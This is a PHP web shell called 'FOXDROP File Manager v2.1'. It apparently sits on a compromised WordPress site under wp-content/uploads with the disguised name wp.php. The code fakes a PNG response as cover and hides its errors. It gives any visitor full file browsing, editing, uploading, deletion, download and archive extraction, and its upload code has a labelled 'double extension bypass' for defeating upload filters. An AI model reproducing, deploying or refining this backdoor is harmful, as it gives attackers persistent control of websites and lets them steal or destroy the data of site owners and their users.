File: /home/paknevis/public_html/wp-content/uploads/wp.php
<?php
// 🧩 FOXDROP File Manager v2.1 - Enhanced Visibility Edition
// === Fake PNG for disguise (if ?i)
if (isset($_GET['i'])) {
header("Content-Type: image/png");
echo base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/wcAAusB9WnWD4wAAAAASUVORK5CYII=");
exit;
}
error_reporting(0);
ini_set('display_errors', 0);
// === Security enhancements ===
session_start();
if (!isset($_SESSION['foxdrop_auth'])) {
$_SESSION['foxdrop_auth'] = bin2hex(random_bytes(16));
}
define('AUTH_TOKEN', $_SESSION['foxdrop_auth']);
// === Root directory lockdown ===
$root = realpath(__DIR__);
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root;
if (!$dir || strpos($dir, $root) !== 0) $dir = $root;
// === Recursive directory deletion ===
function rrmdir($dir) {
if (!is_dir($dir)) return;
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object == "." || $object == "..") continue;
$path = $dir . DIRECTORY_SEPARATOR . $object;
is_dir($path) ? rrmdir($path) : @unlink($path);
}
@rmdir($dir);
}
// === Upload handler with enhanced bypass techniques ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
if ($_POST['auth_token'] !== AUTH_TOKEN) die("Invalid token");
$up = $_FILES['file'];
$name = basename($up['name']);
$target = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $name;
echo "<div class='log-box'>";
$success = false;
// 1) Standard upload
if ($up['error'] === UPLOAD_ERR_OK && is_uploaded_file($up['tmp_name'])) {
if (move_uploaded_file($up['tmp_name'], $target)) {
$success = true;
echo "✅ Uploaded via move_uploaded_file()<br>";
}
// 2) Fallback: copy()
elseif (@copy($up['tmp_name'], $target)) {
$success = true;
echo "⚠️ Used copy() fallback<br>";
}
// 3) Double extension bypass
else {
$safeExt = pathinfo($name, PATHINFO_EXTENSION) . '.txt';
$safeName = pathinfo($name, PATHINFO_FILENAME) . '.' . $safeExt;
$safeTarget = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $safeName;
if (move_uploaded_file($up['tmp_name'], $safeTarget)) {
$success = true;
echo "⚠️ Uploaded as $safeName<br>";
// Attempt rename back
if (@rename($safeTarget, $target)) {
echo "✅ Renamed to original filename<br>";
} else {
echo "⚠️ Couldn't rename back - using safe name<br>";
}
}
}
}
if (!$success) {
echo "❌ Upload failed (Error: {$up['error']})<br>";
}
echo "</div>";
}
// === File actions ===
if (isset($_GET['act'], $_GET['f'], $_GET['auth'])) {
if ($_GET['auth'] !== AUTH_TOKEN) die("Invalid token");
$f = realpath($_GET['f']);
if (!$f || strpos($f, $root) !== 0) die("Invalid path");
switch ($_GET['act']) {
case 'edit':
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$backup = $f . '.bak';
@copy($f, $backup);
$data = $_POST['data'] ?? '';
if (file_put_contents($f, $data) === false) {
@rename($backup, $f);
echo "<div class='error'>❌ Save failed. Backup restored</div>";
} else {
@unlink($backup);
echo "<div class='success'>✅ Saved successfully</div>";
}
}
$content = @file_get_contents($f) ?: '';
echo "<h2>✏️ Edit: " . htmlspecialchars(basename($f)) . "</h2>";
echo "<form method='POST'>
<textarea name='data' class='editor'>"
. htmlspecialchars($content) . "</textarea><br>
<input type='hidden' name='auth_token' value='" . AUTH_TOKEN . "'>
<button class='btn save'>💾 Save</button>
<a href='?dir=" . urlencode(dirname($f)) . "&auth=" . AUTH_TOKEN . "' class='btn'>🔙 Back</a>
</form>";
exit;
case 'delete':
is_dir($f) ? rrmdir($f) : @unlink($f);
break;
case 'download':
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($f).'"');
header('Content-Length: ' . filesize($f));
readfile($f);
exit;
case 'zip':
$zipname = $f . '.zip';
$zip = new ZipArchive();
if ($zip->open($zipname, ZipArchive::CREATE) === TRUE) {
if (is_dir($f)) {
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($f),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $file) {
if (!$file->isDir()) {
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($f) + 1);
$zip->addFile($filePath, $relativePath);
}
}
} else {
$zip->addFile($f, basename($f));
}
$zip->close();
}
break;
case 'unzip':
$zip = new ZipArchive();
if ($zip->open($f) === TRUE) {
$extractPath = dirname($f);
$zip->extractTo($extractPath);
$zip->close();
header("Location: ?dir=" . urlencode(dirname($f)) . "&auth=" . AUTH_TOKEN . "&unzipped=1");
exit;
}
break;
case 'mkdir':
$newdir = $f . DIRECTORY_SEPARATOR . basename($_GET['name']);
@mkdir($newdir, 0755, true);
break;
case 'rename':
$to = dirname($f) . DIRECTORY_SEPARATOR . basename($_GET['to']);
@rename($f, $to);
break;
}
header("Location: ?dir=" . urlencode($dir) . "&auth=" . AUTH_TOKEN);
exit;
}
// === HTML + CSS ===
?><!DOCTYPE html>
<html><head>
<title>🧩 FOXDROP v2.1</title>
<link rel="icon" href="?i=1" type="image/png">
<style>
:root {
--bg: #121212;
--card: #1e1e1e;
--primary: #2a7fff;
--accent: #ff6b6b;
--text: #f0f0f0;
--text-light: #ffffff;
--success: #4caf50;
--warning: #ff9800;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: 'Segoe UI', system-ui, sans-serif;
background: var(--bg);
color: var(--text);
padding: 20px;
line-height: 1.6;
}
.container { max-width: 1200px; margin: 0 auto; }
header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 20px;
padding-bottom: 15px;
border-bottom: 1px solid #333;
}
h1 {
color: var(--text-light);
font-size: 1.8rem;
text-shadow: 0 1px 3px rgba(0,0,0,0.5);
}
.card {
background: var(--card);
border-radius: 10px;
padding: 20px;
margin-bottom: 20px;
box-shadow: 0 4px 15px rgba(0,0,0,0.3);
border: 1px solid #2c2c2c;
}
.btn {
display: inline-block;
padding: 8px 15px;
background: var(--primary);
color: white !important;
text-decoration: none;
border-radius: 5px;
border: none;
cursor: pointer;
font-size: 14px;
transition: all 0.3s;
font-weight: 600;
}
.btn:hover {
background: #0051a8;
transform: translateY(-2px);
box-shadow: 0 2px 8px rgba(0,0,0,0.2);
}
.btn.danger { background: var(--accent); }
.btn.danger:hover { background: #e55a5a; }
.btn-group { display: flex; gap: 10px; flex-wrap: wrap; margin-bottom: 15px; }
.log-box {
font-family: monospace;
padding: 15px;
background: #0a1929;
color: #4ade80;
margin-bottom: 20px;
border-radius: 5px;
border-left: 3px solid var(--primary);
}
.error {
color: #ff9e9e;
background: #3a0a0a;
padding: 12px;
border-radius: 5px;
border-left: 4px solid var(--accent);
}
.success {
color: #a8ffb0;
background: #0a2c14;
padding: 12px;
border-radius: 5px;
border-left: 4px solid var(--success);
}
table {
width: 100%;
background: rgba(255,255,255,0.05);
border-collapse: collapse;
border-radius: 8px;
overflow: hidden;
border: 1px solid #2a2a2a;
}
th, td {
padding: 12px 15px;
text-align: left;
border-bottom: 1px solid #333;
color: var(--text-light);
}
th {
background: rgba(42, 127, 255, 0.25);
font-weight: 600;
color: white;
}
tr:hover { background: rgba(255,255,255,0.08); }
.breadcrumb {
display: flex;
gap: 8px;
align-items: center;
margin-bottom: 20px;
flex-wrap: wrap;
padding: 12px 0;
}
.editor {
width: 100%;
height: 60vh;
font-family: 'Fira Code', monospace;
background: #1e1e1e;
color: #f0f0f0;
padding: 15px;
border-radius: 5px;
border: 1px solid #444;
resize: vertical;
font-size: 14px;
line-height: 1.5;
}
.actions { display: flex; gap: 8px; }
.file-icon {
margin-right: 8px;
font-size: 1.1em;
vertical-align: middle;
}
.viewer {
max-width: 100%;
max-height: 70vh;
display: block;
margin: 20px auto;
border-radius: 5px;
box-shadow: 0 0 20px rgba(0,0,0,0.4);
}
.toolbar {
display: flex;
gap: 15px;
flex-wrap: wrap;
margin-bottom: 20px;
padding-bottom: 15px;
border-bottom: 1px solid #333;
}
.toolbar form {
display: flex;
gap: 10px;
align-items: center;
}
.toolbar input[type="text"] {
padding: 10px 15px;
border-radius: 5px;
border: 1px solid #444;
background: #2a2a2a;
color: white;
min-width: 220px;
font-size: 14px;
}
.auth-token {
background: rgba(0,0,0,0.3);
padding: 6px 12px;
border-radius: 4px;
font-family: monospace;
font-size: 0.9rem;
}
a {
color: #7fb4ff;
text-decoration: none;
transition: color 0.2s;
}
a:hover {
color: var(--primary);
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<header>
<h1>🧩 FOXDROP File Manager v2.1</h1>
<div class="auth-token">Token: <code><?= substr(AUTH_TOKEN, 0, 8) ?>...</code></div>
</header>
<div class="card">
<?php
// Breadcrumb navigation
$parts = explode('/', trim(str_replace($root, '', $dir), '/'));
$build = $root;
echo "<div class='breadcrumb'>";
echo "<a class='btn' href='?dir=" . urlencode($root) . "&auth=" . AUTH_TOKEN . "' title='Root'><i>🏠</i></a>";
foreach ($parts as $p) {
if ($p === '') continue;
$build .= '/' . $p;
echo "<a class='btn' href='?dir=" . urlencode($build) . "&auth=" . AUTH_TOKEN . "'>" . htmlspecialchars($p) . "</a>";
}
echo "</div>";
// Operation notifications
if (isset($_GET['unzipped'])) {
echo "<div class='success'>✅ Archive extracted successfully</div>";
}
if (isset($_GET['zipped'])) {
echo "<div class='success'>✅ Archive created successfully</div>";
}
// Toolbar
echo "<div class='toolbar'>";
// Create folder
echo "<form method='GET'>
<input type='text' name='name' placeholder='New folder name' required>
<input type='hidden' name='act' value='mkdir'>
<input type='hidden' name='f' value='".htmlspecialchars($dir)."'>
<input type='hidden' name='auth' value='".AUTH_TOKEN."'>
<button class='btn'>📁 Create Folder</button>
</form>";
// Upload form
echo "<form method='POST' enctype='multipart/form-data' style='display:flex'>
<input type='file' name='file' required>
<input type='hidden' name='dir' value='".htmlspecialchars($dir)."'>
<input type='hidden' name='auth_token' value='".AUTH_TOKEN."'>
<button class='btn'>📤 Upload</button>
</form>";
echo "</div>";
// File list
echo "<table><tr><th>Name</th><th>Size</th><th>Modified</th><th>Permissions</th><th>Actions</th></tr>";
// Show parent directory link
if ($dir !== $root) {
$parent = dirname($dir);
echo "<tr>
<td><span class='file-icon'>📁</span> <a href='?dir=".urlencode($parent)."&auth=".AUTH_TOKEN."'>.. (Parent)</a></td>
<td>-</td><td>-</td><td>-</td><td class='actions'></td>
</tr>";
}
foreach (scandir($dir) as $f) {
if ($f === '.' || $f === '..') continue;
$fp = "$dir/$f";
$isDir = is_dir($fp);
$size = $isDir ? '-' : formatSize(filesize($fp));
$perms = substr(decoct(fileperms($fp)), -4);
$mtime = date('Y-m-d H:i', filemtime($fp));
$encoded = urlencode($fp);
$auth = "&auth=" . AUTH_TOKEN;
echo "<tr>
<td><span class='file-icon'>".($isDir ? "📁" : "📄")."</span>
<a href='" . ($isDir ? "?dir=" . urlencode($fp) . $auth : "?act=edit&f=" . urlencode($fp) . $auth) . "'>"
. htmlspecialchars($f) . "</a></td>
<td>{$size}</td>
<td>{$mtime}</td>
<td>{$perms}</td>
<td class='actions'>";
if (!$isDir) {
// File actions
echo "<a class='btn' href='?act=edit&f=$encoded$auth'>Edit</a>";
echo "<a class='btn' href='?act=download&f=$encoded$auth'>Download</a>";
echo "<a class='btn danger' href='?act=delete&f=$encoded$auth' onclick='return confirm(\"Delete $f?\")'>Delete</a>";
if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) === 'zip') {
echo "<a class='btn' href='?act=unzip&f=$encoded$auth' onclick='return confirm(\"Extract archive?\")'>Unzip</a>";
} else {
echo "<a class='btn' href='?act=zip&f=$encoded$auth'>Zip</a>";
}
} else {
// Directory actions
echo "<a class='btn danger' href='?act=delete&f=$encoded$auth' onclick='return confirm(\"Delete folder and ALL contents?\")'>Delete</a>";
echo "<a class='btn' href='?act=zip&f=$encoded$auth'>Zip</a>";
}
echo "</td></tr>";
}
echo "</table>";
// Format file sizes
function formatSize($bytes) {
if ($bytes == 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB'];
$i = floor(log($bytes, 1024));
return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}
?>
</div>
</div>
</body></html>